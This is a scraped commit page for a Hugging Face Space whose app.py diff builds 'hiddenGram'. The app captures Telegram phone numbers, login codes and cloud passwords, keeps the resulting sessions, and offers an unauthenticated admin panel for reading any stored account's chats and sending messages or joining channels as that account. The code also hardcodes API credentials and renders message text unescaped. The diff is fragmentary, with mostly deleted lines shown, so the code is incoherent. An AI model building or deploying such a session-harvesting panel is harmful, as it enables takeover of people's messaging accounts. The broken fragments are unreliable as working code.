Videospace633

Paused

App Files Files Community

Aleksmorshen commited on Jul 15, 2025

Commit

dbb5495

verified ·

1 Parent(s): 50ff0c2

Update app.py

Browse files

Files changed (1) hide show

app.py +748 -606

app.py CHANGED Viewed

@@ -3,19 +3,21 @@ import hashlib
 import os
 import sqlite3
 from pathlib import Path
-from datetime import datetime
-from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for
 from telethon.sync import TelegramClient
-from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError, PeerFloodError
 from telethon.tl.functions.messages import ImportChatInviteRequest
 from telethon.tl.functions.channels import JoinChannelRequest
-from telethon.tl.types import User, Channel, Chat, MessageMediaPhoto, MessageMediaDocument, MessageMediaWebPage, MessageMediaUnsupported, MessageMediaPoll, MessageMediaGeo, MessageMediaContact
 app = Flask(__name__)
-API_ID = '22328650' # Replace with your actual API ID
-API_HASH = '20b45c386598fab8028b1d99b63aeeeb' # Replace with your actual API Hash
 HOST = '0.0.0.0'
 PORT = 7860
 SESSION_DIR = 'sessions'
@@ -26,6 +28,7 @@ DB_PATH = 'users.db'
 os.makedirs(SESSION_DIR, exist_ok=True)
 os.makedirs(DOWNLOAD_DIR, exist_ok=True)
 def init_db():
     with sqlite3.connect(DB_PATH) as conn:
         c = conn.cursor()
@@ -33,17 +36,14 @@ def init_db():
             id INTEGER PRIMARY KEY AUTOINCREMENT,
             telegram_id TEXT UNIQUE,
             username TEXT,
-            phone TEXT NOT NULL UNIQUE,
-            session_file TEXT NOT NULL,
             created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
         )''')
         conn.commit()
 async def get_user_client(user_id):
-    """
-    Connects to a TelegramClient for the given user_id.
-    Ensures the client is connected before returning.
-    """
     with sqlite3.connect(DB_PATH) as conn:
         c = conn.cursor()
         c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
@@ -51,28 +51,17 @@ async def get_user_client(user_id):
         if not result:
             return None, "User not found"
         session_file = result[0]
     client = TelegramClient(session_file, API_ID, API_HASH)
     try:
         await client.connect()
         if not await client.is_user_authorized():
-            # If session is invalid, remove it from DB and return error
-            with sqlite3.connect(DB_PATH) as conn:
-                c = conn.cursor()
-                c.execute('DELETE FROM users WHERE id = ?', (user_id,))
-                conn.commit()
-            await client.disconnect()
-            return None, "Session expired or invalid. Please re-login."
     except Exception as e:
-        if client.is_connected():
-            await client.disconnect()
-        return None, f"Failed to connect Telegram client: {e}"
     return client, None
-# --- HTML Templates ---
-# Main login page for adding new accounts
 LOGIN_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
@@ -81,64 +70,48 @@ LOGIN_TEMPLATE = '''
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>hiddenGram - Login</title>
     <style>
-        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #2c2c2c; color: #e0e0e0; margin: 0; padding: 20px; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
-        .container { background: #3a3a3a; padding: 30px; border-radius: 10px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.4); width: 100%; max-width: 450px; text-align: center; }
-        h1 { color: #87CEEB; margin-bottom: 25px; font-size: 2.2em; }
-        .form-group { margin-bottom: 15px; }
-        input[type="text"], input[type="password"] {
-            width: calc(100% - 20px); padding: 12px; margin: 8px 0; background: #4a4a4a; color: #e0e0e0; border: 1px solid #555; border-radius: 5px;
-            font-size: 1em; box-sizing: border-box;
-        }
-        button {
-            padding: 12px 25px; background: #87CEEB; color: #3a3a3a; border: none; border-radius: 5px; cursor: pointer;
-            font-size: 1.1em; font-weight: bold; transition: background 0.2s ease-in-out, transform 0.1s ease-in-out;
-            margin-top: 10px; width: calc(100% - 20px);
-        }
-        button:hover { background: #6aB1D1; transform: translateY(-1px); }
-        button:active { transform: translateY(1px); }
-        .message { margin-top: 15px; padding: 10px; border-radius: 5px; font-weight: bold; }
-        .message.success { background: #4CAF50; color: white; }
-        .message.error { background: #f44336; color: white; }
-        .admin-link { display: block; margin-top: 25px; font-size: 1.1em; }
-        .admin-link a { color: #87CEEB; text-decoration: none; transition: color 0.2s; }
-        .admin-link a:hover { color: #6aB1D1; text-decoration: underline; }
     </style>
 </head>
 <body>
     <div class="container">
-        <h1>hiddenGram Login</h1>
-        <p style="color: #bbb;">Log in a new Telegram account for management.</p>
-        <div class="form-group">
             <input type="text" id="phone" placeholder="Phone number (+1234567890)">
             <button onclick="startLogin()">Start Login</button>
         </div>
-        <div class="form-group">
-            <input type="text" id="code" placeholder="Verification code" style="display:none;">
-            <input type="text" id="password" placeholder="Cloud password" style="display:none;">
-            <button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
-            <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
-        </div>
-        <div id="statusMessage" class="message" style="display:none;"></div>
-        <div class="admin-link">
-            <a href="/admin">Go to Admin Panel</a>
-        </div>
     </div>
     <script>
         let phone = '';
         let phoneCodeHash = '';
         const statusMessageDiv = document.getElementById('statusMessage');
-        function showMessage(message, type = 'success') {
-            statusMessageDiv.textContent = message;
-            statusMessageDiv.className = 'message ' + type;
-            statusMessageDiv.style.display = 'block';
         }
         async function startLogin() {
             phone = document.getElementById('phone').value;
             if (!phone) {
-                showMessage('Please enter a phone number.', 'error');
                 return;
             }
             showMessage('Sending code...', 'info');
@@ -149,14 +122,14 @@ LOGIN_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                showMessage(result.message, 'success');
                 if (result.phone_code_hash) {
                     phoneCodeHash = result.phone_code_hash;
-                    document.getElementById('code').style.display = 'inline';
-                    document.getElementById('submitCode').style.display = 'inline';
                 } else {
-                    // Already logged in, or immediate success (rare for new login)
-                    setTimeout(() => window.location.href = '/admin', 1000); // Redirect to admin panel
                 }
             } else {
                 showMessage('Login failed: ' + result.message, 'error');
@@ -177,16 +150,16 @@ LOGIN_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                showMessage(result.message, 'success');
-                setTimeout(() => window.location.href = '/admin', 1000); // Redirect to admin panel
             } else if (result.password_required) {
                 showMessage(result.message, 'info');
-                document.getElementById('password').style.display = 'inline';
-                document.getElementById('submitPassword').style.display = 'inline';
-                document.getElementById('submitCode').style.display = 'none';
-                document.getElementById('code').style.display = 'none';
             } else {
-                showMessage('Code submission failed: ' + result.message, 'error');
             }
         }
@@ -204,19 +177,272 @@ LOGIN_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                showMessage(result.message, 'success');
-                setTimeout(() => window.location.href = '/admin', 1000); // Redirect to admin panel
             } else {
-                showMessage('Password submission failed: ' + result.message, 'error');
             }
         }
     </script>
 </body>
 </html>
 '''
-# Admin panel to list managed accounts
-ADMIN_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
 <head>
@@ -224,18 +450,17 @@ ADMIN_TEMPLATE = '''
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>hiddenGram - Admin Panel</title>
     <style>
-        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #2c2c2c; color: #e0e0e0; margin: 0; padding: 20px; }
-        .container { max-width: 900px; margin: auto; background: #3a3a3a; padding: 30px; border-radius: 10px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.4); }
-        h1 { text-align: center; color: #87CEEB; margin-bottom: 25px; }
-        h2 { color: #e0e0e0; margin-top: 25px; margin-bottom: 15px; }
-        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
-        th, td { padding: 12px; border: 1px solid #555; text-align: left; }
-        th { background: #4a4a4a; color: #87CEEB; }
-        tr:nth-child(even) { background-color: #3f3f3f; }
-        tr:hover { background-color: #555; }
-        a { color: #87CEEB; text-decoration: none; transition: color 0.2s; }
-        a:hover { text-decoration: underline; color: #6aB1D1; }
-        .home-link { display: block; text-align: center; margin-top: 30px; font-size: 1.1em; }
     </style>
 </head>
 <body>
@@ -251,454 +476,235 @@ ADMIN_TEMPLATE = '''
                 <tr>
                     <td>{{ user[0] }}</td>
                     <td>{{ user[1] }}</td>
-                    <td>{{ user[2] or 'N/A' }}</td>
                     <td>{{ user[3] }}</td>
                     <td>
-                        <a href="/user/{{ user[0] }}/client">Manage/Open Client</a>
                     </td>
                 </tr>
                 {% endfor %}
             </tbody>
         </table>
-        <div class="home-link">
-            <a href="/">Add New Account</a>
         </div>
     </div>
 </body>
 </html>
 '''
-# User client interface (hiddenGram client for a specific account)
-USER_CLIENT_TEMPLATE = '''
 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>hiddenGram - {{ user.username or user.phone }}</title>
     <style>
-        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #2c2c2c; color: #e0e0e0; margin: 0; display: flex; height: 100vh; overflow: hidden; }
-        .chat-sidebar {
-            width: 300px; background: #3a3a3a; border-right: 1px solid #4a4a4a;
-            display: flex; flex-direction: column;
-        }
-        .sidebar-header { padding: 15px; border-bottom: 1px solid #4a4a4a; text-align: center; }
-        .sidebar-header h2 { color: #87CEEB; margin: 0; font-size: 1.5em; }
-        .chat-list { flex-grow: 1; overflow-y: auto; }
-        .chat-item { padding: 15px; border-bottom: 1px solid #444; cursor: pointer; display: flex; align-items: center; }
-        .chat-item:hover { background: #4a4a4a; }
-        .chat-item.active { background: #5a5a5a; }
-        .chat-avatar { width: 40px; height: 40px; border-radius: 50%; background: #6a6a6a; display: flex; justify-content: center; align-items: center; font-weight: bold; font-size: 1.2em; margin-right: 10px; }
-        .chat-info { flex-grow: 1; }
-        .chat-title { font-weight: bold; color: #e0e0e0; }
-        .chat-last-message { font-size: 0.9em; color: #bbb; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }
-        .chat-main { flex-grow: 1; display: flex; flex-direction: column; }
-        .chat-header { padding: 15px; background: #3a3a3a; border-bottom: 1px solid #4a4a4a; display: flex; justify-content: space-between; align-items: center; }
-        .chat-header h2 { margin: 0; color: #87CEEB; }
-        .chat-controls button {
-            padding: 8px 15px; background: #87CEEB; color: #3a3a3a; border: none; border-radius: 5px; cursor: pointer;
-            font-weight: bold; transition: background 0.2s; margin-left: 10px;
-        }
-        .chat-controls button:hover { background: #6aB1D1; }
-        .message-list-container { flex-grow: 1; overflow-y: auto; padding: 20px; background: #2c2c2c; }
-        .message-item {
-            display: flex; margin-bottom: 15px;
-            max-width: 80%; /* Limit message bubble width */
-        }
-        .message-item.me { justify-content: flex-end; margin-left: auto; } /* Align my messages to right */
-        .message-bubble {
-            background: #4a4a4a; padding: 12px 15px; border-radius: 18px; position: relative;
-            word-wrap: break-word; overflow-wrap: break-word; /* Ensure long words wrap */
-            max-width: 100%; /* Ensure bubble itself doesn't overflow */
-            min-width: 50px; /* Prevent very small bubbles for short messages */
-        }
-        .message-item.me .message-bubble { background: #87CEEB; color: #3a3a3a; } /* My message color */
-        .message-sender { font-size: 0.9em; font-weight: bold; margin-bottom: 5px; color: #bbbbbb; }
-        .message-item.me .message-sender { color: #5a5a5a; } /* Sender name for my message */
-        .message-time { font-size: 0.75em; color: #999; text-align: right; margin-top: 5px; }
-        .message-item.me .message-time { color: #5a5a5a; }
         .media-link { display: block; margin-top: 5px; color: #00ffff; text-decoration: none; word-break: break-all; }
         .media-link:hover { text-decoration: underline; }
-        .message-text { margin-bottom: 5px; }
-        .unsupported-media { color: #ffeb3b; font-style: italic; }
-        .message-input-area {
-            padding: 15px; border-top: 1px solid #4a4a4a; background: #3a3a3a;
-            display: flex;
-        }
-        .message-input {
-            flex-grow: 1; padding: 12px; background: #4a4a4a; color: #e0e0e0;
-            border: none; border-radius: 20px; outline: none; margin-right: 10px;
-            resize: none; /* Disable textarea resize handle */
-            font-size: 1em;
-            max-height: 120px; /* Limit height for auto-expanding textarea */
-            overflow-y: auto;
-        }
-        .message-input::placeholder { color: #999; }
-        .send-button {
-            padding: 12px 20px; background: #87CEEB; color: #3a3a3a; border: none;
-            border-radius: 20px; cursor: pointer; font-weight: bold; transition: background 0.2s;
-        }
-        .send-button:hover { background: #6aB1D1; }
-        /* Admin/Action Modals (simple overlay) */
-        .modal {
-            display: none; position: fixed; z-index: 1; left: 0; top: 0; width: 100%; height: 100%;
-            overflow: auto; background-color: rgba(0,0,0,0.7); justify-content: center; align-items: center;
-        }
-        .modal-content {
-            background-color: #3a3a3a; margin: auto; padding: 30px; border-radius: 10px;
-            width: 80%; max-width: 500px; text-align: center;
-        }
-        .modal-content h3 { color: #87CEEB; margin-bottom: 20px; }
-        .modal-content input[type="text"], .modal-content textarea { width: calc(100% - 20px); margin-bottom: 15px; }
-        .modal-content .button-group button { margin: 5px; padding: 10px 20px; border-radius: 5px; }
-        .close-button { color: #aaa; float: right; font-size: 28px; font-weight: bold; }
-        .close-button:hover, .close-button:focus { color: #e0e0e0; text-decoration: none; cursor: pointer; }
     </style>
 </head>
 <body>
-    <div class="chat-sidebar">
-        <div class="sidebar-header">
-            <h2>hiddenGram</h2>
-            <div style="font-size: 0.9em; color: #bbb;">Logged in as: {{ user.username or user.phone }}</div>
-            <div style="margin-top: 10px;">
-                <button onclick="openJoinChatModal()">Join Chat</button>
-                <button onclick="openSendMessageModal()">New Message</button>
-            </div>
-            <div style="margin-top: 10px;">
-                <a href="/admin" style="color: #6aB1D1; text-decoration: none;">Back to Admin</a>
             </div>
-        </div>
-        <div class="chat-list" id="chatList">
-            <!-- Chats will be loaded here by JavaScript -->
-            <p style="text-align: center; padding: 20px; color: #bbb;">Loading chats...</p>
-        </div>
-    </div>
-    <div class="chat-main">
-        <div class="chat-header">
-            <h2 id="chatTitle">Select a chat</h2>
-            <div class="chat-controls">
-                <button onclick="loadMessages(currentChatId, true)" id="refreshMessagesBtn" style="display:none;">Refresh</button>
             </div>
         </div>
-        <div class="message-list-container" id="messageListContainer">
-            <!-- Messages will be loaded here by JavaScript -->
-            <p style="text-align: center; padding: 20px; color: #bbb;">No chat selected. Please select a chat from the left panel.</p>
-        </div>
-        <div class="message-input-area" id="messageInputArea" style="display:none;">
-            <textarea id="messageInput" class="message-input" placeholder="Type a message..."></textarea>
-            <button class="send-button" onclick="sendMessage()">Send</button>
-        </div>
-    </div>
-    <!-- Modals for Join Chat and New Message (Admin actions for this user) -->
-    <div id="joinChatModal" class="modal">
-        <div class="modal-content">
-            <span class="close-button" onclick="closeModal('joinChatModal')">×</span>
-            <h3>Join New Chat/Channel</h3>
-            <input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
-            <div class="button-group">
-                <button onclick="joinChat({{ user.id }})">Join Chat</button>
             </div>
-            <p id="joinChatStatus" style="color: #ffeb3b;"></p>
         </div>
-    </div>
-    <div id="sendMessageModal" class="modal">
-        <div class="modal-content">
-            <span class="close-button" onclick="closeModal('sendMessageModal')">×</span>
-            <h3>Send Message to Arbitrary Recipient</h3>
-            <input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
-            <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
-            <div class="button-group">
-                <button onclick="sendArbitraryMessage({{ user.id }})">Send Message</button>
-            </div>
-            <p id="sendMessageStatus" style="color: #ffeb3b;"></p>
         </div>
     </div>
     <script>
-        const userId = {{ user.id }};
-        let currentChatId = null;
-        let currentChatTitle = '';
-        document.addEventListener('DOMContentLoaded', () => {
-            loadChatList();
-            document.getElementById('messageInput').addEventListener('keydown', function(event) {
-                if (event.key === 'Enter' && !event.shiftKey) {
-                    event.preventDefault(); // Prevent new line
-                    sendMessage();
-                }
-            });
-             document.getElementById('messageInput').addEventListener('input', function() {
-                this.style.height = 'auto';
-                this.style.height = (this.scrollHeight) + 'px';
             });
-        });
-        async function loadChatList() {
-            const chatListDiv = document.getElementById('chatList');
-            chatListDiv.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">Loading chats...</p>';
-            try {
-                const response = await fetch(`/api/user/${userId}/chats`);
-                const result = await response.json();
-                if (result.success) {
-                    chatListDiv.innerHTML = '';
-                    if (result.chats.length === 0) {
-                        chatListDiv.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">No chats found. Join one!</p>';
-                    }
-                    result.chats.forEach(chat => {
-                        const chatItem = document.createElement('div');
-                        chatItem.className = 'chat-item';
-                        chatItem.setAttribute('data-chat-id', chat.id);
-                        chatItem.onclick = () => selectChat(chat.id, chat.title);
-                        const avatarInitial = chat.title ? chat.title.charAt(0).toUpperCase() : '?';
-                        chatItem.innerHTML = `
-                            <div class="chat-avatar">${avatarInitial}</div>
-                            <div class="chat-info">
-                                <div class="chat-title">${chat.title}</div>
-                                <div class="chat-last-message"><em>${chat.type}</em></div>
-                            </div>
-                        `;
-                        chatListDiv.appendChild(chatItem);
-                    });
-                } else {
-                    chatListDiv.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Error: ${result.message}</p>`;
-                }
-            } catch (error) {
-                chatListDiv.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Failed to load chats: ${error.message}</p>`;
-            }
         }
-        function selectChat(chatId, chatTitle) {
-            currentChatId = chatId;
-            currentChatTitle = chatTitle;
-            document.getElementById('chatTitle').textContent = chatTitle;
-            document.getElementById('messageInputArea').style.display = 'flex';
-            document.getElementById('refreshMessagesBtn').style.display = 'inline-block';
-            // Remove active class from previous and add to current
             document.querySelectorAll('.chat-item').forEach(item => {
                 item.classList.remove('active');
             });
-            document.querySelector(`.chat-item[data-chat-id="${chatId}"]`).classList.add('active');
-            loadMessages(chatId);
-        }
-        async function loadMessages(chatId, forceRefresh = false) {
-            const messageListContainer = document.getElementById('messageListContainer');
-            messageListContainer.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">Loading messages...</p>';
-            try {
-                const response = await fetch(`/api/user/${userId}/chat/${chatId}/messages`);
-                const result = await response.json();
-                if (result.success) {
-                    messageListContainer.innerHTML = '';
-                    if (result.messages.length === 0) {
-                        messageListContainer.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">No messages found in this chat.</p>';
                     }
-                    result.messages.forEach(msg => {
-                        const messageItem = document.createElement('div');
-                        messageItem.className = `message-item ${msg.is_outgoing ? 'me' : ''}`; // Add 'me' class if outgoing
-                        let mediaHtml = '';
-                        if (msg.file_name) {
-                            mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
-                        } else if (msg.unsupported_media) {
-                            mediaHtml = `<div class="unsupported-media"><em>(Unsupported media type)</em></div>`;
-                        } else if (msg.poll_question) {
-                            mediaHtml = `<div class="unsupported-media"><em>(Poll: ${msg.poll_question})</em></div>`;
-                        } else if (msg.geo_coords) {
-                            mediaHtml = `<div class="unsupported-media"><em>(Location: ${msg.geo_coords})</em></div>`;
-                        } else if (msg.contact_name) {
-                            mediaHtml = `<div class="unsupported-media"><em>(Contact: ${msg.contact_name})</em></div>`;
-                        } else if (msg.webpage_url) {
-                            mediaHtml = `<a class="media-link" href="${msg.webpage_url}" target="_blank">Web Page: ${msg.webpage_title || msg.webpage_url}</a>`;
-                        }
-                        messageItem.innerHTML = `
-                            <div class="message-bubble">
-                                <div class="message-sender">${msg.sender_name}</div>
-                                ${msg.text ? `<div class="message-text">${msg.text.replace(/\n/g, '<br>')}</div>` : ''}
-                                ${mediaHtml}
-                                <div class="message-time">${msg.date}</div>
-                            </div>
-                        `;
-                        messageListContainer.appendChild(messageItem);
-                    });
-                    // Scroll to bottom
-                    messageListContainer.scrollTop = messageListContainer.scrollHeight;
-                } else {
-                    messageListContainer.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Error: ${result.message}</p>`;
-                }
-            } catch (error) {
-                messageListContainer.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Failed to load messages: ${error.message}</p>`;
-            }
-        }
-        async function sendMessage() {
-            if (!currentChatId) {
-                alert('Please select a chat first.');
-                return;
-            }
-            const message = document.getElementById('messageInput').value.trim();
-            if (!message) {
-                return; // Don't send empty messages
-            }
-            // Temporarily add the message to UI
-            const messageListContainer = document.getElementById('messageListContainer');
-            const tempMessageItem = document.createElement('div');
-            tempMessageItem.className = 'message-item me';
-            tempMessageItem.innerHTML = `
-                <div class="message-bubble">
-                    <div class="message-sender">You</div>
-                    <div class="message-text">${message.replace(/\n/g, '<br>')}</div>
-                    <div class="message-time">Sending...</div>
-                </div>
-            `;
-            messageListContainer.appendChild(tempMessageItem);
-            messageListContainer.scrollTop = messageListContainer.scrollHeight;
-            document.getElementById('messageInput').value = ''; // Clear input
-            try {
-                const response = await fetch(`/api/user/${userId}/chat/${currentChatId}/send_message`, {
-                    method: 'POST',
-                    headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ message })
                 });
-                const result = await response.json();
-                if (result.success) {
-                    tempMessageItem.querySelector('.message-time').textContent = 'Sent!';
-                } else {
-                    tempMessageItem.querySelector('.message-time').textContent = `Failed: ${result.message}`;
-                    tempMessageItem.querySelector('.message-bubble').style.backgroundColor = '#f44336';
-                }
-            } catch (error) {
-                tempMessageItem.querySelector('.message-time').textContent = `Error: ${error.message}`;
-                tempMessageItem.querySelector('.message-bubble').style.backgroundColor = '#f44336';
-            } finally {
-                 setTimeout(() => loadMessages(currentChatId, true), 500); // Refresh after a short delay
             }
         }
-        // --- Modals related functions ---
-        function openModal(modalId) {
-            document.getElementById(modalId).style.display = 'flex';
-        }
-        function closeModal(modalId) {
-            document.getElementById(modalId).style.display = 'none';
-             // Clear status messages
-            document.getElementById('joinChatStatus').textContent = '';
-            document.getElementById('sendMessageStatus').textContent = '';
-        }
-        function openJoinChatModal() {
-            document.getElementById('joinChatIdentifier').value = '';
-            openModal('joinChatModal');
-        }
-        function openSendMessageModal() {
-            document.getElementById('sendMessageRecipient').value = '';
-            document.getElementById('sendMessageContent').value = '';
-            openModal('sendMessageModal');
-        }
-        async function joinChat(userId) {
-            const chatIdentifier = document.getElementById('joinChatIdentifier').value;
-            const statusDiv = document.getElementById('joinChatStatus');
-            if (!chatIdentifier) {
-                statusDiv.textContent = 'Please enter channel/group username or invite link.';
                 return;
             }
-            statusDiv.textContent = 'Joining chat...';
-            try {
-                const response = await fetch(`/api/user/${userId}/join_chat`, {
-                    method: 'POST',
-                    headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ chat_identifier: chatIdentifier })
-                });
-                const result = await response.json();
-                statusDiv.textContent = result.message;
-                if (result.success) {
-                    document.getElementById('joinChatIdentifier').value = '';
-                    setTimeout(() => {
-                        closeModal('joinChatModal');
-                        loadChatList(); // Refresh chat list
-                    }, 1500);
-                } else {
-                    statusDiv.style.color = '#f44336';
                 }
-            } catch (error) {
-                statusDiv.textContent = `Error: ${error.message}`;
-                statusDiv.style.color = '#f44336';
             }
         }
-        async function sendArbitraryMessage(userId) {
-            const recipient = document.getElementById('sendMessageRecipient').value;
-            const content = document.getElementById('sendMessageContent').value;
-            const statusDiv = document.getElementById('sendMessageStatus');
-            if (!recipient || !content) {
-                statusDiv.textContent = 'Please enter recipient and message.';
                 return;
             }
-            statusDiv.textContent = 'Sending message...';
-            try {
-                const response = await fetch(`/api/user/${userId}/send_arbitrary_message`, {
-                    method: 'POST',
-                    headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ recipient_id: recipient, message: content })
-                });
-                const result = await response.json();
-                statusDiv.textContent = result.message;
-                if (result.success) {
-                    document.getElementById('sendMessageRecipient').value = '';
-                    document.getElementById('sendMessageContent').value = '';
-                    setTimeout(() => closeModal('sendMessageModal'), 1500);
-                } else {
-                    statusDiv.style.color = '#f44336';
-                }
-            } catch (error) {
-                statusDiv.textContent = `Error: ${error.message}`;
-                statusDiv.style.color = '#f44336';
             }
         }
     </script>
 </body>
 </html>
 '''
-# --- Flask Routes ---
 @app.route('/')
 def index():
-    """Renders the login page for adding new accounts."""
     return render_template_string(LOGIN_TEMPLATE)
-@app.route('/admin')
-def admin_panel():
-    """Renders the admin panel displaying all managed accounts."""
-    with sqlite3.connect(DB_PATH) as conn:
-        c = conn.cursor()
-        c.execute('SELECT id, telegram_id, username, phone FROM users')
-        users = c.fetchall()
-    return render_template_string(ADMIN_TEMPLATE, users=users)
 @app.route('/api/login', methods=['POST'])
 def api_login():
-    """Handles the Telegram login process steps via AJAX."""
     data = request.json
     phone = data.get('phone')
     code = data.get('code')
@@ -707,10 +713,10 @@ def api_login():
     step = data.get('step')
     if not phone:
-        return jsonify({'success': False, 'message': 'Phone number is required.'}), 400
     session_hash = hashlib.md5(phone.encode()).hexdigest()
-    session_file_path = os.path.join(SESSION_DIR, f"{session_hash}.session")
     async def _login_async():
         client = TelegramClient(session_file_path, API_ID, API_HASH)
@@ -722,11 +728,11 @@ def api_login():
                     me = await client.get_me()
                     with sqlite3.connect(DB_PATH) as conn:
                         c = conn.cursor()
-                        # Use INSERT OR REPLACE to handle cases where phone is already in DB
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
-                    result = {'success': True, 'message': 'Already logged in. Redirecting to admin panel.'}
                 else:
                     sent_code = await client.send_code_request(phone)
                     result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
@@ -742,11 +748,10 @@ def api_login():
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
-                    result = {'success': True, 'message': 'Logged in successfully. Redirecting to admin panel.'}
                 except SessionPasswordNeededError:
                     result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
-                except FloodWaitError as e:
-                    result = {'success': False, 'message': f'Too many attempts. Please wait {e.seconds} seconds.'}
                 except Exception as e:
                     result = {'success': False, 'message': f'Error during code submission: {e}.'}
             elif step == 'password':
@@ -758,9 +763,8 @@ def api_login():
                         c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                                   (str(me.id), me.username or '', phone, session_file_path))
                         conn.commit()
-                    result = {'success': True, 'message': 'Logged in with cloud password. Redirecting to admin panel.'}
-                except FloodWaitError as e:
-                    result = {'success': False, 'message': f'Too many attempts. Please wait {e.seconds} seconds.'}
                 except Exception as e:
                     result = {'success': False, 'message': f'Error during password submission: {e}.'}
             else:
@@ -768,162 +772,161 @@ def api_login():
         except Exception as e:
             result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
         finally:
-            if client.is_connected():
                 await client.disconnect()
         return result
     return jsonify(asyncio.run(_login_async()))
-@app.route('/user/<int:user_id>/client')
-def user_client_view(user_id):
-    """Renders the main hiddenGram client interface for a specific user."""
-    with sqlite3.connect(DB_PATH) as conn:
-        c = conn.cursor()
-        c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
-        user_data = c.fetchone()
-        if not user_data:
-            return "User not found", 404
-        user_dict = {
-            'id': user_data[0],
-            'telegram_id': user_data[1],
-            'username': user_data[2],
-            'phone': user_data[3],
-            'session_file': user_data[4]
-        }
-    return render_template_string(USER_CLIENT_TEMPLATE, user=user_dict)
-@app.route('/api/user/<int:user_id>/chats')
-def api_get_user_chats(user_id):
-    """API endpoint to get a list of chats for a user."""
     async def _get_chats_async():
         client, error = await get_user_client(user_id)
         if error:
-            return {'success': False, 'message': error}
         chats_info = []
         try:
             async for dialog in client.iter_dialogs():
                 chat_type = 'User'
-                if dialog.is_channel:
                     chat_type = 'Channel'
-                elif dialog.is_group:
                     chat_type = 'Group'
-                # Exclude service notifications or empty chats if desired
-                if dialog.is_empty:
-                    continue
                 chats_info.append({
                     'id': dialog.id,
                     'title': dialog.title,
                     'type': chat_type,
-                    'unread_count': dialog.unread_count # Telethon provides this
                 })
-            return {'success': True, 'chats': chats_info}
         except Exception as e:
-            return {'success': False, 'message': str(e)}
         finally:
             if client and client.is_connected():
                 await client.disconnect()
-    return jsonify(asyncio.run(_get_chats_async()))
-@app.route('/api/user/<int:user_id>/chat/<int:peer_id>/messages')
-def api_get_chat_messages(user_id, peer_id):
-    """API endpoint to get messages from a specific chat."""
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
         if error:
-            return {'success': False, 'message': error}
-        messages_data = []
         try:
             entity = await client.get_entity(peer_id)
-            # Fetch last 50 messages
-            async for message in client.iter_messages(entity, limit=50, reverse=False): # Get in chronological order
                 msg_data = {
                     'text': message.text,
                     'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
                     'sender_name': 'Unknown',
-                    'is_outgoing': message.out # True if message was sent by this user
                 }
                 if message.sender:
-                    if isinstance(message.sender, User):
                         msg_data['sender_name'] = message.sender.first_name
                         if message.sender.last_name:
                             msg_data['sender_name'] += f" {message.sender.last_name}"
-                        if not msg_data['sender_name'] and message.sender.username:
-                            msg_data['sender_name'] = message.sender.username
-                    elif isinstance(message.sender, (Channel, Chat)):
                         msg_data['sender_name'] = message.sender.title
-                # Fallback for sender if name is still empty (e.g., deleted account)
-                if not msg_data['sender_name']:
-                    msg_data['sender_name'] = f"ID: {message.sender_id}" if message.sender_id else "Unknown"
                 if message.media:
-                    if isinstance(message.media, (MessageMediaPhoto, MessageMediaDocument)):
-                        try:
-                            # Use a unique name for downloaded files to prevent conflicts
-                            file_ext = Path(message.file.name or '').suffix or ''
-                            unique_filename = f"{message.id}_{message.date.timestamp()}{file_ext}"
-                            download_path = os.path.join(DOWNLOAD_DIR, unique_filename)
-                            file_info = await client.download_media(message, file=download_path)
-                            if file_info:
-                                msg_data['file_name'] = Path(file_info).name
